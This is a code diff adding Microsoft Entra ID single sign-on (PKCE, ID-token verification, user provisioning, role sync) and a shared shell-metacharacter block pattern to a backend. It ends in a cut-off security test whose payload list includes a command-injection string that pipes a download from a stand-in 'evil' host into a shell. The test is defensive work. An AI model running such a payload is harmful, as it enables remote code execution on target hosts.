b/backend/src/services/EntraIdService.ts new file mode 100644 index 00000000..19be905f --- /dev/null +++ b/backend/src/services/EntraIdService.ts @@ -0,0 +1,914 @@ +import { createHash, createPublicKey, randomBytes } from 'crypto'; + +import jwt from 'jsonwebtoken'; + +import type { DatabaseAdapter } from '../database/DatabaseAdapter'; +import type { EntraIdConfig } from '../config/schema'; +import type { AuthenticationService } from './AuthenticationService'; +import type { UserService, User } from './UserService'; +import type { UserDTO } from './UserService'; +import type { RoleService } from './RoleService'; +import type { AuditLoggingService } from './AuditLoggingService'; +import type { LoggerService } from './LoggerService'; + +// --- Error code constants --- +export const ENTRA_ID_ERROR_CODES = { + INVALID_STATE: 'INVALID_STATE', + TOKEN_EXCHANGE_FAILED: 'TOKEN_EXCHANGE_FAILED', + INVALID_ID_TOKEN: 'INVALID_ID_TOKEN', + AUTH_PROVIDER_ERROR: 'AUTH_PROVIDER_ERROR', + MISSING_CLAIMS: 'MISSING_CLAIMS', + JWKS_UNAVAILABLE: 'JWKS_UNAVAILABLE', + PROVISIONING_FAILED: 'PROVISIONING_FAILED', + INVALID_AUTH_CODE: 'INVALID_AUTH_CODE', +} as const; + +export type EntraIdErrorCode = typeof ENTRA_ID_ERROR_CODES[keyof typeof ENTRA_ID_ERROR_CODES]; + +// --- Typed error class --- +export class EntraIdError extends Error { + readonly code: EntraIdErrorCode; + + constructor(code: EntraIdErrorCode, message: string) { + super(message); + this.name = 'EntraIdError'; + this.code = code; + } +} + +// --- IdTokenClaims interface --- +export interface IdTokenClaims { + sub: string; + email: string; + preferred_username: string; + given_name: string; + family_name: string; + nonce: string; + aud: string; + iss: string; + exp: number; + groups?: string[]; +} + +export interface OAuthStateEntry { + state: string; + nonce: string; + codeVerifier: string; + createdAt: string; + expiresAt: string; +} + +export interface AuthCodeEntry { + code: string; + accessToken: string; + refreshToken: string; + userId: string; + idToken: string; + authMethod: string; + createdAt: string; + expiresAt: string; +} + +// --- JWKS types --- +interface JwksKey { + kty: string; + use?: string; + kid: string; + n: string; + e: string; + x5c?: string[]; +} + +interface JwksCache { + keys: JwksKey[]; + fetchedAt: number; +} + +/** + * EntraIdService handles Azure Entra ID (OpenID Connect) authentication. + * + * This service manages: + * - Authorization URL generation with PKCE and state/nonce + * - State store lifecycle (creation + TTL-based expiry cleanup) + * - Token exchange and ID token validation + * - JWKS key fetching and caching + * - Provider metadata for frontend discovery + */ +export class EntraIdService { + private readonly db: DatabaseAdapter; + private readonly config: EntraIdConfig; + readonly authService: AuthenticationService; + readonly userService: UserService; + readonly roleService: RoleService; + readonly auditLogger: AuditLoggingService; + private readonly logger: LoggerService; + private jwksCache: JwksCache | null = null; + + constructor( + db: DatabaseAdapter, + config: EntraIdConfig, + authService: AuthenticationService, + userService: UserService, + roleService: RoleService, + auditLogger: AuditLoggingService, + logger: LoggerService, + ) { + this.db = db; + this.config = config; + this.authService = authService; + this.userService = userService; + this.roleService = roleService; + this.auditLogger = auditLogger; + this.logger = logger; + } + + /** + * Generate an authorization URL for the Entra ID OAuth 2.0 + OIDC flow. + * + * Creates cryptographically random state, nonce, and PKCE code_verifier, + * stores them in oauth_state_store with a 10-minute TTL, then returns + * the full authorization endpoint URL with all required query parameters. + */ + async generateAuthorizationUrl(): Promise<{ url: string; state: string }> { + const state = randomBytes(32).toString('hex'); + const nonce = randomBytes(32).toString('hex'); + const codeVerifier = this.generateCodeVerifier(64); + const codeChallenge = this.computeCodeChallenge(codeVerifier); + + const now = new Date(); + const createdAt = now.toISOString(); + const expiresAt = new Date(now.getTime() + 10 * 60 * 1000).toISOString(); + + await this.db.execute( + `INSERT INTO oauth_state_store (state, nonce, code_verifier, created_at, expires_at) + VALUES (?, ?, ?, ?, ?)`, + [state, nonce, codeVerifier, createdAt, expiresAt], + ); + + const params = new URLSearchParams({ + response_type: 'code', + client_id: this.config.clientId, + redirect_uri: this.config.redirectUri, + scope: this.config.scopes.join(' '), + state, + nonce, + code_challenge: codeChallenge, + code_challenge_method: 'S256', + }); + + const baseUrl = `https://login.microsoftonline.com/${this.config.tenantId}/oauth2/v2.0/authorize`; + const url = `${baseUrl}?${params.toString()}`; + + this.logger.info('Generated authorization URL', { + component: 'EntraIdService', + operation: 'generateAuthorizationUrl', + metadata: { tenantId: this.config.tenantId }, + }); + + return { url, state }; + } + + /** + * Delete expired entries from oauth_state_store. + * + * @returns Number of deleted rows + */ + async cleanupExpiredState(): Promise { + const now = new Date().toISOString(); + const result = await this.db.execute( + `DELETE FROM oauth_state_store WHERE expires_at < ?`, + [now], + ); + + const deleted = result.changes; + + if (deleted > 0) { + this.logger.info(`Cleaned up ${String(deleted)} expired OAuth state entries`, { + component: 'EntraIdService', + operation: 'cleanupExpiredState', + metadata: { deletedCount: deleted }, + }); + } + + return deleted; + } + + /** + * Return provider info for the discovery endpoint. + */ + getProviderInfo(): { enabled: true; name: string } { + return { enabled: true, name: 'Microsoft Entra ID' }; + } + + /** + * Handle the OAuth callback: validate state, exchange code for tokens, + * validate the ID token, provision/lookup user, sync roles, issue session. + * + * Returns an AuthCodeEntry containing the single-use authorization code + * that the frontend will exchange for the actual JWT pair. + */ + async handleCallback(code: string, state: string): Promise { + const logMeta = { component: 'EntraIdService', operation: 'handleCallback' }; + + // 1. Look up state entry + const stateEntry = await this.db.queryOne<{ + state: string; + nonce: string; + code_verifier: string; + created_at: string; + expires_at: string; + }>( + `SELECT state, nonce, code_verifier, created_at, expires_at + FROM oauth_state_store WHERE state = ?`, + [state], + ); + + // 2. Delete state entry immediately (one-time use, even on failure) + await this.db.execute( + `DELETE FROM oauth_state_store WHERE state = ?`, + [state], + ); + + // 3. Validate state exists + if (!stateEntry) { + this.logger.warn('OAuth callback received with invalid state', logMeta); + throw new EntraIdError( + ENTRA_ID_ERROR_CODES.INVALID_STATE, + 'State parameter missing or mismatched', + ); + } + + // 4. Verify state not expired + const now = new Date(); + const expiresAt = new Date(stateEntry.expires_at); + if (now > expiresAt) { + this.logger.warn('OAuth callback received with expired state', logMeta); + throw new EntraIdError( + ENTRA_ID_ERROR_CODES.INVALID_STATE, + 'Authentication session expired', + ); + } + + // 5. Exchange authorization code for tokens + const tokenResponse = await this.exchangeCodeForTokens( + code, + stateEntry.code_verifier, + ); + + // 6. Fetch JWKS keys (cached) + const jwksKeys = await this.getJwksKeys(); + + // 7. Verify ID token + const claims = this.verifyIdToken( + tokenResponse.id_token, + jwksKeys, + stateEntry.nonce, + ); + + this.logger.info('ID token validated successfully', { + ...logMeta, + metadata: { sub: claims.sub }, + }); + + // 8. Provision or look up the user + const user = await this.provisionUser(claims); + + // 9. Sync group-to-role mapping + await this.syncGroupRoles(user.id, claims.groups); + + // 10. Issue session tokens and generate auth code + const authCodeEntry = await this.issueSessionTokens( + user, + tokenResponse.id_token, + ); + + return authCodeEntry; + } + + /** + * Provision or locate a user based on validated ID token claims. + * + * Flow: + * 1. Reject if email AND preferred_username are both missing + * 2. Look up federated_identities by (provider='entra-id', subject=sub) + * 3. If found: return existing user without updating profile (immutability) + * 4. If not found: check users by email + * 5. If email match: link federated identity to existing account + * 6. If no match: create new federated user + * + * @param claims - Validated ID token claims + * @returns The provisioned or existing user + */ + async provisionUser(claims: IdTokenClaims): Promise { + const logMeta = { component: 'EntraIdService', operation: 'provisionUser' }; + + // 1. Reject if both email and preferred_username are missing + if (!claims.email && !claims.preferred_username) { + throw new EntraIdError( + ENTRA_ID_ERROR_CODES.MISSING_CLAIMS, + 'Required identity claims absent: email and preferred_username', + ); + } + + // 2. Look up by federated identity + const existingUser = await this.userService.findByFederatedIdentity( + 'entra-id', + claims.sub, + ); + + if (existingUser) { + // 3. Returning user — do NOT update profile claims (immutability) + this.logger.info('Returning federated user found', { + ...logMeta, + metadata: { userId: existingUser.id, sub: claims.sub }, + }); + return existingUser; + } + + // 4. No federated identity — check by email + if (claims.email) { + const emailMatch = await this.userService.findByEmail(claims.email); + + if (emailMatch) { + // 5. Email match — link federated identity to existing account + try { + await this.userService.linkFederatedIdentity( + emailMatch.id, + 'entra-id', + claims.sub, + claims.iss, + claims.email, + ); + + this.logger.info('Linked federated identity to existing account', { + ...logMeta, + metadata: { userId: emailMatch.id, sub: claims.sub }, + }); + + return emailMatch; + } catch (err: unknown) { + const message = err instanceof Error ? err.message : String(err); + this.logger.error('Failed to link federated identity', { + ...logMeta, + metadata: { error: message }, + }); + throw new EntraIdError( + ENTRA_ID_ERROR_CODES.PROVISIONING_FAILED, + 'Account creation failed', + ); + } + } + } + + // 6. No match — create new federated user + try { + const newUser = await this.userService.createFederatedUser(claims); + + this.logger.info('New federated user created', { + ...logMeta, + metadata: { userId: newUser.id, sub: claims.sub }, + }); + + return newUser; + } catch (err: unknown) { + const message = err instanceof Error ? err.message : String(err); + this.logger.error('Failed to create federated user', { + ...logMeta, + metadata: { error: message }, + }); + throw new EntraIdError( + ENTRA_ID_ERROR_CODES.PROVISIONING_FAILED, + 'Account creation failed', + ); + } + } + + /** + * Issue Pabawi JWT session tokens and generate a single-use authorization code. + * + * Steps: + * 1. Generate access + refresh tokens via AuthenticationService + * 2. Generate a crypto-random single-use authorization code + * 3. Store the code in oauth_auth_codes with 60s TTL + * 4. Update user's last_login_at timestamp + * 5. Record audit log (AUTH, LOGIN_SUCCESS, method=entra-id) + * + * @returns AuthCodeEntry for the frontend to exchange + */ + private async issueSessionTokens( + user: User, + idToken: string, + ): Promise { + const logMeta = { component: 'EntraIdService', operation: 'issueSessionTokens' }; + + // 1. Generate Pabawi JWT tokens + const accessToken = await this.authService.generateToken(user); + const refreshToken = await this.authService.generateRefreshToken(user); + + // 2. Generate single-use authorization code (32 bytes of entropy) + const authCode = randomBytes(32).toString('hex'); + + // 3. Store in oauth_auth_codes with 60-second TTL + const now = new Date(); + const createdAt = now.toISOString(); + const expiresAt = new Date(now.getTime() + 60 * 1000).toISOString(); + + await this.db.execute( + `INSERT INTO oauth_auth_codes (code, access_token, refresh_token, user_id, id_token, auth_method, created_at, expires_at, exchanged) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, 0)`, + [authCode, accessToken, refreshToken, user.id, idToken, 'entra-id', createdAt, expiresAt], + ); + + // 4. Update user's last_login_at + const loginTime = now.toISOString(); + await this.db.execute( + `UPDATE users SET last_login_at = ? WHERE id = ?`, + [loginTime, user.id], + ); + + // 5. Record audit log + await this.auditLogger.logAuthenticationAttempt( + user.username, + true, + user.id, + undefined, + undefined, + 'method=entra-id', + ); + + this.logger.info('Session tokens issued for SSO user', { + ...logMeta, + metadata: { userId: user.id }, + }); + + return { + code: authCode, + accessToken, + refreshToken, + userId: user.id, + idToken, + authMethod: 'entra-id', + createdAt, + expiresAt, + }; + } + + /** + * Exchange a single-use authorization code for Pabawi JWT tokens + user DTO. + * + * Validates that the code exists, is not expired, and has not been exchanged. + * Marks the code as exchanged atomically. Returns the stored tokens and user. + * + * @throws EntraIdError with INVALID_AUTH_CODE if code is invalid, expired, or already used. + */ + async exchangeAuthCode(code: string): Promise<{ + accessToken: string; + refreshToken: string; + user: UserDTO; + }> { + const logMeta = { component: 'EntraIdService', operation: 'exchangeAuthCode' }; + + // 1. Look up the code + const entry = await this.db.queryOne<{ + code: string; + accessToken: string; + refreshToken: string; + userId: string; + idToken: string; + authMethod: string; + createdAt: string; + expiresAt: string; + exchanged: number; + }>( + `SELECT code, + access_token AS "accessToken", + refresh_token AS "refreshToken", + user_id AS "userId", + id_token AS "idToken", + auth_method AS "authMethod", + created_at AS "createdAt", + expires_at AS "expiresAt", + exchanged + FROM oauth_auth_codes WHERE code = ?`, + [code], + ); + + // 2. Verify code exists + if (!entry) { + this.logger.warn('Auth code exchange attempted with invalid code', logMeta); + throw new EntraIdError( + ENTRA_ID_ERROR_CODES.INVALID_AUTH_CODE, + 'Authorization code invalid', + ); + } + + // 3. Verify not already exchanged + if (entry.exchanged === 1) { + this.logger.warn('Auth code exchange attempted with already-used code', logMeta); + throw new EntraIdError( + ENTRA_ID_ERROR_CODES.INVALID_AUTH_CODE, + 'Authorization code invalid', + ); + } + + // 4. Verify not expired + const now = new Date(); + const expiresAt = new Date(entry.expiresAt); + if (now > expiresAt) { + this.logger.warn('Auth code exchange attempted with expired code', logMeta); + throw new EntraIdError( + ENTRA_ID_ERROR_CODES.INVALID_AUTH_CODE, + 'Authorization code invalid', + ); + } + + // 5. Mark as exchanged + await this.db.execute( + `UPDATE oauth_auth_codes SET exchanged = 1 WHERE code = ?`, + [code], + ); + + // 6. Look up the user + const user = await this.userService.getUserById(entry.userId); + if (!user) { + throw new EntraIdError( + ENTRA_ID_ERROR_CODES.INVALID_AUTH_CODE, + 'Authorization code invalid', + ); + } + + this.logger.info('Auth code exchanged successfully', { + ...logMeta, + metadata: { userId: user.id }, + }); + + return { + accessToken: entry.accessToken, + refreshToken: entry.refreshToken, + user: this.userService.toUserDTO(user), + }; + } + + /** + * Exchange authorization code at the Entra ID token endpoint. + * Uses AbortSignal.timeout(10000) for 10-second timeout. + */ + private async exchangeCodeForTokens( + code: string, + codeVerifier: string, + ): Promise<{ id_token: string; access_token: string }> { + const logMeta = { component: 'EntraIdService', operation: 'exchangeCodeForTokens' }; + const tokenUrl = `https://login.microsoftonline.com/${this.config.tenantId}/oauth2/v2.0/token`; + + const body = new URLSearchParams({ + grant_type: 'authorization_code', + client_id: this.config.clientId, + client_secret: this.config.clientSecret, + code, + redirect_uri: this.config.redirectUri, + code_verifier: codeVerifier, + }); + + let response: Response; + try { + response = await fetch(tokenUrl, { + method: 'POST', + headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, + body: body.toString(), + signal: AbortSignal.timeout(10000), + }); + } catch (err: unknown) { + const message = err instanceof Error ? err.message : 'Unknown error'; + this.logger.error('Token exchange network failure', { + ...logMeta, + metadata: { error: message }, + }); + throw new EntraIdError( + ENTRA_ID_ERROR_CODES.TOKEN_EXCHANGE_FAILED, + 'Token endpoint unreachable', + ); + } + + if (!response.ok) { + this.logger.error('Token exchange returned non-2xx', { + ...logMeta, + metadata: { status: response.status }, + }); + throw new EntraIdError( + ENTRA_ID_ERROR_CODES.TOKEN_EXCHANGE_FAILED, + 'Could not exchange authorization code', + ); + } + + const data = await response.json() as { id_token?: string; access_token?: string }; + + if (!data.id_token || !data.access_token) { + throw new EntraIdError( + ENTRA_ID_ERROR_CODES.TOKEN_EXCHANGE_FAILED, + 'Token response missing required fields', + ); + } + + return { id_token: data.id_token, access_token: data.access_token }; + } + + /** + * Fetch JWKS keys from the Entra ID discovery endpoint. + * Caches keys with configurable TTL. Falls back to cache on failure. + */ + private async getJwksKeys(): Promise { + const logMeta = { component: 'EntraIdService', operation: 'getJwksKeys' }; + const ttl = this.config.jwksCacheTtlMs; + + // Return cached keys if still valid + if (this.jwksCache && (Date.now() - this.jwksCache.fetchedAt) < ttl) { + return this.jwksCache.keys; + } + + const jwksUrl = `https://login.microsoftonline.com/${this.config.tenantId}/discovery/v2.0/keys`; + + try { + const response = await fetch(jwksUrl, { + signal: AbortSignal.timeout(5000), + }); + + if (!response.ok) { + throw new Error(`JWKS endpoint returned ${String(response.status)}`); + } + + const data = await response.json() as { keys: JwksKey[] }; + this.jwksCache = { keys: data.keys, fetchedAt: Date.now() }; + return data.keys; + } catch (err: unknown) { + const message = err instanceof Error ? err.message : 'Unknown error'; + this.logger.warn('JWKS fetch failed, attempting cache fallback', { + ...logMeta, + metadata: { error: message }, + }); + + // Fallback to stale cache if available + if (this.jwksCache) { + this.logger.warn('Using stale JWKS cache', logMeta); + return this.jwksCache.keys; + } + + throw new EntraIdError( + ENTRA_ID_ERROR_CODES.JWKS_UNAVAILABLE, + 'Cannot verify token signatures', + ); + } + } + + /** + * Verify the ID token: signature (RS256 via JWKS), nonce, aud, iss, exp. + */ + private verifyIdToken( + idToken: string, + jwksKeys: JwksKey[], + expectedNonce: string, + ): IdTokenClaims { + // Decode header to find kid + const decoded = jwt.decode(idToken, { complete: true }); + if (!decoded || typeof decoded === 'string') { + throw new EntraIdError( + ENTRA_ID_ERROR_CODES.INVALID_ID_TOKEN, + 'Token could not be decoded', + ); + } + + const kid = decoded.header.kid; + const key = jwksKeys.find((k) => k.kid === kid); + if (!key) { + throw new EntraIdError( + ENTRA_ID_ERROR_CODES.INVALID_ID_TOKEN, + 'Token signature verification failed - key not found', + ); + } + + // Convert JWK to PEM + const pem = this.jwkToPem(key); + + // Verify signature, exp (with 5min clockTolerance), aud, iss + const expectedIssuer = `https://login.microsoftonline.com/${this.config.tenantId}/v2.0`; + + let payload: jwt.JwtPayload; + try { + payload = jwt.verify(idToken, pem, { + algorithms: ['RS256'], + audience: this.config.clientId, + issuer: expectedIssuer, + clockTolerance: 300, // 5 minutes in seconds + }) as jwt.JwtPayload; + } catch (err: unknown) { + const message = err instanceof Error ? err.message : 'Token verification failed'; + throw new EntraIdError( + ENTRA_ID_ERROR_CODES.INVALID_ID_TOKEN, + message, + ); + } + + // Validate nonce + if (payload.nonce !== expectedNonce) { + throw new EntraIdError( + ENTRA_ID_ERROR_CODES.INVALID_ID_TOKEN, + 'Token nonce validation failed', + ); + } + + // Validate required claims presence + const audClaim = Array.isArray(payload.aud) ? payload.aud[0] : payload.aud; + + const missingClaims: string[] = []; + if (!payload.sub) missingClaims.push('sub'); + if (!payload.email && !payload.preferred_username) { + missingClaims.push('email or preferred_username'); + } + + if (missingClaims.length > 0) { + throw new EntraIdError( + ENTRA_ID_ERROR_CODES.MISSING_CLAIMS, + `Required identity claims absent: ${missingClaims.join(', ')}`, + ); + } + + // Narrow the registered claims that jwt.verify guarantees when audience, + // issuer and expiry are validated. The JwtPayload type marks them optional, + // so assert their presence explicitly instead of using non-null assertions. + if (!payload.sub || !audClaim || !payload.iss || payload.exp === undefined) { + throw new EntraIdError( + ENTRA_ID_ERROR_CODES.INVALID_ID_TOKEN, + 'Token is missing required registered claims (sub, aud, iss or exp)', + ); + } + + return { + sub: payload.sub, + email: String(payload.email ?? ''), + preferred_username: String(payload.preferred_username ?? ''), + given_name: String(payload.given_name ?? ''), + family_name: String(payload.family_name ?? ''), + nonce: payload.nonce as string, + aud: audClaim, + iss: payload.iss, + exp: payload.exp, + groups: payload.groups as string[] | undefined, + }; + } + + /** + * Convert a JWK RSA key to PEM format using Node.js crypto. + */ + private jwkToPem(key: JwksKey): string { + const publicKey = createPublicKey({ + key: { + kty: key.kty, + n: key.n, + e: key.e, + }, + format: 'jwk', + }); + + return publicKey.export({ type: 'spki', format: 'pem' }) as string; + } + + /** + * Synchronize Entra ID group memberships to Pabawi roles. + * + * Algorithm: + * 1. If groupMapping is null or groups is undefined → skip (preserve existing roles) + * 2. Get all Pabawi roles to validate mapping targets + * 3. Get user's current roles + * 4. Determine which mapped roles the user should have (based on groups claim) + * 5. Add roles that are in "should have" but not currently assigned + * 6. Remove roles that are currently assigned via mapping but no longer in "should have" + * 7. Never touch roles that are not part of the mapping (manually assigned roles preserved) + */ + async syncGroupRoles(userId: string, groups: string[] | undefined): Promise { + const logMeta = { component: 'EntraIdService', operation: 'syncGroupRoles' }; + + // Skip sync if no mapping configured or no groups claim present + if (!this.config.groupMapping || groups === undefined) { + this.logger.info('Skipping group-to-role sync (no mapping or no groups claim)', logMeta); + return; + } + + const groupMapping = this.config.groupMapping; + + // Get all available Pabawi roles + const allRolesResult = await this.roleService.listRoles({ limit: 1000, offset: 0 }); + const allRoles = allRolesResult.items; + const rolesByName = new Map(allRoles.map((r) => [r.name.toLowerCase(), r])); + + // Get user's current roles + const currentRoles = await this.userService.getUserRoles(userId); + const currentRoleIds = new Set(currentRoles.map((r) => r.id)); + + // Normalize groups claim to lowercase for case-insensitive comparison + const normalizedGroups = new Set(groups.map((g) => g.toLowerCase())); + + // Determine which role IDs are managed by the mapping (all valid mapping targets) + const managedRoleIds = new Set(); + // Determine which role IDs the user should have based on current groups + const shouldHaveRoleIds = new Set(); + + for (const [groupId, roleName] of Object.entries(groupMapping)) { + const role = rolesByName.get(roleName.toLowerCase()); + + if (!role) { + this.logger.warn(`Group mapping references non-existent role "${roleName}", skipping`, { + ...logMeta, + metadata: { groupId, roleName }, + }); + continue; + } + + managedRoleIds.add(role.id); + + // Case-insensitive UUID comparison + if (normalizedGroups.has(groupId.toLowerCase())) { + shouldHaveRoleIds.add(role.id); + } + } + + // Assign roles that user should have but doesn't + let assigned = 0; + for (const roleId of shouldHaveRoleIds) { + if (!currentRoleIds.has(roleId)) { + try { + await this.userService.assignRoleToUser(userId, roleId); + assigned++; + } catch (err: unknown) { + // Role may already be assigned (race condition) — log and continue + const message = err instanceof Error ? err.message : 'Unknown error'; + this.logger.warn(`Failed to assign role during group sync: ${message}`, logMeta); + } + } + } + + // Revoke managed roles that user currently has but should no longer have + let revoked = 0; + for (const roleId of managedRoleIds) { + if (currentRoleIds.has(roleId) && !shouldHaveRoleIds.has(roleId)) { + try { + await this.userService.removeRoleFromUser(userId, roleId); + revoked++; + } catch (err: unknown) { + const message = err instanceof Error ? err.message : 'Unknown error'; + this.logger.warn(`Failed to revoke role during group sync: ${message}`, logMeta); + } + } + } + + this.logger.info('Group-to-role sync completed', { + ...logMeta, + metadata: { userId, assigned, revoked, groupCount: groups.length }, + }); + } + + /** + * Build the Entra ID end-session URL for single sign-out. + * + * Constructs the logout URL with: + * - post_logout_redirect_uri: from config (or fallback to base URL) + * - id_token_hint: the user's stored ID token + * + * @param idToken - The ID token stored from the user's SSO session + * @returns Full Entra ID logout URL + */ + buildLogoutUrl(idToken: string): string { + const baseLogoutUrl = + `https://login.microsoftonline.com/${this.config.tenantId}/oauth2/v2.0/logout`; + + const postLogoutRedirectUri = this.config.postLogoutRedirectUri ?? this.config.redirectUri; + + const params = new URLSearchParams({ + post_logout_redirect_uri: postLogoutRedirectUri, + id_token_hint: idToken, + }); + + return `${baseLogoutUrl}?${params.toString()}`; + } + + /** + * Generate a code_verifier per RFC 7636 Section 4.1. + * Uses unreserved characters [A-Z, a-z, 0-9, "-", ".", "_", "~"]. + */ + private generateCodeVerifier(length: number): string { + const unreserved = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~'; + const bytes = randomBytes(length); + let verifier = ''; + for (let i = 0; i < length; i++) { + verifier += unreserved[bytes[i] % unreserved.length]; + } + return verifier; + } + + /** + * Compute code_challenge from code_verifier using S256 method. + * SHA-256 hash → base64url encoding (no padding). + */ + private computeCodeChallenge(codeVerifier: string): string { + const hash = createHash('sha256').update(codeVerifier).digest(); + return hash.toString('base64url'); + } +} diff --git a/backend/src/services/UserService.ts b/backend/src/services/UserService.ts index 1fd51651..ca255b4a 100644 --- a/backend/src/services/UserService.ts +++ b/backend/src/services/UserService.ts @@ -3,6 +3,7 @@ import { randomUUID } from 'crypto'; import type { AuthenticationService } from './AuthenticationService'; import { SetupService } from './SetupService'; import { validatePassword } from '../utils/passwordValidation'; +import type { IdTokenClaims } from './EntraIdService'; /** * User model from database @@ -48,6 +49,16 @@ const ROLE_COLUMNS = `id, name, description, created_at AS "createdAt", updated_at AS "updatedAt"`; +const FEDERATED_IDENTITY_COLUMNS = `id, + user_id AS "userId", + provider, + subject, + issuer, + email, + id_token AS "idToken", + created_at AS "createdAt", + updated_at AS "updatedAt"`; + /** * User data transfer object (without password) */ @@ -133,6 +144,21 @@ export interface Role { updatedAt: string; } +/** + * Federated identity link — maps an external IdP subject to a Pabawi user + */ +export interface FederatedIdentity { + id: string; + userId: string; + provider: string; + subject: string; + issuer: string; + email: string | null; + idToken: string | null; + createdAt: string; + updatedAt: string; +} + /** * User service for managing user accounts, profiles, and user-group/role relationships * @@ -635,4 +661,193 @@ export class UserService { }; } + /** + * Derive a valid username from IdToken claims. + * + * If preferred_username matches ^[a-zA-Z0-9_]{3,50}$, use it directly. + * Otherwise, derive from the email local-part by replacing disallowed + * characters with underscores and truncating to 50 characters. + */ + private deriveUsername(claims: IdTokenClaims): string { + const validUsernamePattern = /^[a-zA-Z0-9_]{3,50}$/; + + if (claims.preferred_username && validUsernamePattern.test(claims.preferred_username)) { + return claims.preferred_username; + } + + const localPart = claims.email.split('@')[0]; + const sanitized = localPart.replace(/[^a-zA-Z0-9_]/g, '_'); + return sanitized.slice(0, 50); + } + + /** + * Create a new user from federated identity (SSO) claims. + * + * Creates the user with null password_hash, is_active=1, assigns the + * default viewer role, and creates a federated_identities record linking + * the user to the external IdP. + * + * @param claims - Validated ID token claims from the identity provider + * @returns Created user + * @throws Error if username uniqueness constraint is violated + */ + public async createFederatedUser(claims: IdTokenClaims): Promise { + const username = this.deriveUsername(claims); + + // Use a transaction to ensure atomicity — no partial records + return this.db.withTransaction(async () => { + // Check username uniqueness + const existingUsername = await this.getUserByUsername(username); + if (existingUsername) { + throw new Error( + `Account creation failed: derived username "${username}" already exists` + ); + } + + // Check email uniqueness (a separate user with this email should not exist; + // email-match linking is handled by the caller before invoking this method) + const existingEmail = await this.getUserByEmail(claims.email); + if (existingEmail) { + throw new Error( + `Account creation failed: email "${claims.email}" already exists` + ); + } + + const userId = randomUUID(); + const now = new Date().toISOString(); + + // Insert user with null password_hash (federation-only) + await this.db.execute( + `INSERT INTO users (id, username, email, password_hash, first_name, last_name, is_active, is_admin, created_at, updated_at) + VALUES (?, ?, ?, NULL, ?, ?, 1, 0, ?, ?)`, + [ + userId, + username, + claims.email, + claims.given_name || '', + claims.family_name || '', + now, + now + ] + ); + + // Assign default viewer role + const defaultRoleId = await this.setupService.getDefaultNewUserRole(); + if (defaultRoleId) { + await this.db.execute( + `INSERT INTO user_roles (user_id, role_id, assigned_at) VALUES (?, ?, ?)`, + [userId, defaultRoleId, now] + ); + } + + // Create federated identity record + const federatedId = randomUUID(); + await this.db.execute( + `INSERT INTO federated_identities (id, user_id, provider, subject, issuer, email, created_at, updated_at) + VALUES (?, ?, ?, ?, ?, ?, ?, ?)`, + [ + federatedId, + userId, + 'entra-id', + claims.sub, + claims.iss, + claims.email, + now, + now + ] + ); + + const user = await this.getUserById(userId); + if (!user) { + throw new Error('Failed to create federated user'); + } + + return user; + }); + } + + /** + * Link an existing user account to a federated identity. + * + * Used when a local user with the same email is found during SSO login — + * preserves the existing password_hash so local login remains available. + * + * @param userId - Existing Pabawi user ID + * @param provider - Identity provider name (e.g. 'entra-id') + * @param subject - The IdP subject claim (unique per tenant+user) + * @param issuer - Token issuer URL + * @param email - Email from the IdP (informational) + */ + public async linkFederatedIdentity( + userId: string, + provider: string, + subject: string, + issuer: string, + email: string | null, + ): Promise { + const id = randomUUID(); + const now = new Date().toISOString(); + + try { + await this.db.execute( + `INSERT INTO federated_identities (id, user_id, provider, subject, issuer, email, created_at, updated_at) + VALUES (?, ?, ?, ?, ?, ?, ?, ?)`, + [id, userId, provider, subject, issuer, email, now, now] + ); + } catch (err: unknown) { + const message = err instanceof Error ? err.message : String(err); + if (message.includes('UNIQUE') || message.includes('unique') || message.includes('duplicate')) { + throw new Error( + `Federated identity already linked: provider=${provider}, subject=${subject}` + ); + } + throw err; + } + + const identity = await this.db.queryOne( + `SELECT ${FEDERATED_IDENTITY_COLUMNS} FROM federated_identities WHERE id = ?`, + [id] + ); + if (!identity) { + throw new Error('Failed to create federated identity link'); + } + + return identity; + } + + /** + * Look up a user by their federated identity (provider + subject). + * + * @param provider - Identity provider name (e.g. 'entra-id') + * @param subject - The IdP subject claim + * @returns The linked user, or null if no matching federated identity exists + */ + public async findByFederatedIdentity( + provider: string, + subject: string, + ): Promise { + const identity = await this.db.queryOne( + `SELECT ${FEDERATED_IDENTITY_COLUMNS} FROM federated_identities + WHERE provider = ? AND subject = ?`, + [provider, subject] + ); + + if (!identity) { + return null; + } + + return this.getUserById(identity.userId); + } + + /** + * Public wrapper around the private getUserByEmail method. + * Used by EntraIdService for email-match account linking during SSO. + * + * @param email - Email address to search for + * @returns User or null if not found + */ + public async findByEmail(email: string): Promise { + return this.getUserByEmail(email); + } + } diff --git a/backend/src/validation/CommandWhitelistService.ts b/backend/src/validation/CommandWhitelistService.ts index dfd61331..5314cbf3 100644 --- a/backend/src/validation/CommandWhitelistService.ts +++ b/backend/src/validation/CommandWhitelistService.ts @@ -1,5 +1,16 @@ import type { WhitelistConfig } from "../config/schema"; +/** + * Shell metacharacters that are always blocked in remote commands. + * + * Prevents command chaining, piping, subshell execution, and glob expansion. + * Exported as the single source of truth so that any execution choke point + * (route validators AND the spawn site in BoltService) enforces the identical + * rule. These characters are interpreted by remote shells on target nodes and + * could enable command injection regardless of local shell safety. + */ +export const SHELL_META_PATTERN = /[;|&`$(){}\n\r\t><\\*?[\]~]/; + /** * Error thrown when a command is not allowed by the whitelist */ @@ -38,8 +49,10 @@ export class BoltCommandWhitelistService { * Shell metacharacters that are always blocked in commands. * Prevents command chaining, piping, subshell execution, and glob expansion. * Applied regardless of allowAll setting to protect remote targets. + * + * @see {@link SHELL_META_PATTERN} — the shared module-level source of truth. */ - private static readonly SHELL_META_PATTERN = /[;|&`$(){}\n\r\t><\\*?[\]~]/; + private static readonly SHELL_META_PATTERN = SHELL_META_PATTERN; /** * Check if a command is allowed based on whitelist configuration diff --git a/backend/test/bolt/BoltService.test.ts b/backend/test/bolt/BoltService.test.ts index a07eebb8..c006486b 100644 --- a/backend/test/bolt/BoltService.test.ts +++ b/backend/test/bolt/BoltService.test.ts @@ -1237,3 +1237,38 @@ describe("BoltService - Task Error Output Extraction", () => { }); }); }); + +describe("BoltService - runCommand shell-metacharacter defense (finding H-1)", () => { + let boltService: BoltService; + + beforeEach(() => { + boltService = new BoltService("/test/bolt/project", 300000); + }); + + // Each of these would be interpreted by the remote shell; runCommand must + // reject them BEFORE spawning bolt, regardless of caller (batch, re-execute, + // or any future path that bypasses the route-level whitelist). + const injectionPayloads = [ + "whoami; curl http://evil/x | sh", + 